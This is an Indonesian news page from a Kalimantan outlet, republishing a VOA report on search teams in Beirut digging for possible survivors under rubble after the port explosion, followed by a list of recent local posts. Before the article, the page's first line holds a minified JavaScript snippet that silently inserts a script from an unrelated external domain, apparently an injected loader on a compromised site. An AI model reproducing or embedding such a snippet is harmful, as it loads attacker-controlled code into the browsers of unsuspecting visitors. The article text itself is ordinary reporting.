(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: INTERNASIONAL

Kemungkinan Masih Ada Penyintas di Bawah Reruntuhan di Beirut


KANALKALIMANTAN.COM, BEIRUT – Pada hari Jumat (4/9) tim SAR meneruskan pencarian korban yang mungkin selamat di bawah puing-puing sebuah bangunan yang runtuh akibat ledakan hebat bulan lalu di Pelabuhan Beirut.

Tim operasi pencarian memulai kembali upaya mereka Kamis sore, setelah seekor anjing pelacak milik tim penyelamat Chili mendeteksi sinyal yang berdenyut saat tim penyelamat Chili sedang melewati kawasan Gemmayzeh.

Pencarian itu dihentikan saat senja. Namun sebuah kelompok pengunjuk rasa tiba di lokasi dan mulai melakukan pencarian sendiri, menuduh bahwa tentara Lebanon telah meminta tim penyelamat Chili untuk berhenti bekerja.

Sejumlah anggota pertahanan sipil Lebanon tiba satu jam lewat tengah malam dan meneruskan pekerjaan itu, menyingkirkan puing-puing dengan tangan dan sekop, dan menggali lubang di antara puing-puing tersebut.

Tim SAR Chili dan Lebanon melakukan pencarian korban di antara puing-puing bangunan yang runtuh dalam ledakan besar bulan lalu, di Beirut, Lebanon, 3 September 2020. Foto: AP via VOA

 

Sebuah pernyataan yang dikeluarkan tentara pada hari Jumat (4/9) mengatakan tim penyelamat Chili menghentikan pencarian sebelum tengah malam karena khawatir sebagian dinding dapat runtuh dan menimpa anggota penyelamat.

Pihak berwenang juga menyiapkan mesin derek di lokasi untuk menyingkirkan dinding bangunan agar pencarian dapat diteruskan.

Ledakan hebat di pelabuhan Beirut menewaskan banyak orang, melukai ribuan lainnya dan menimbulkan trauma bagi Lebanon yang sedang menghadapi krisis finansial.

Program Pembangunan PBB telah memperingatkan adanya limbah beracun yang berpontensi berbahaya bagi kesehatan dan lingkungan dalam jumlah besar ketika 2.750 ton amonium nitrat meledak di pelabuhan Beirut. (lj/uh)

 

Editor: VOA


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.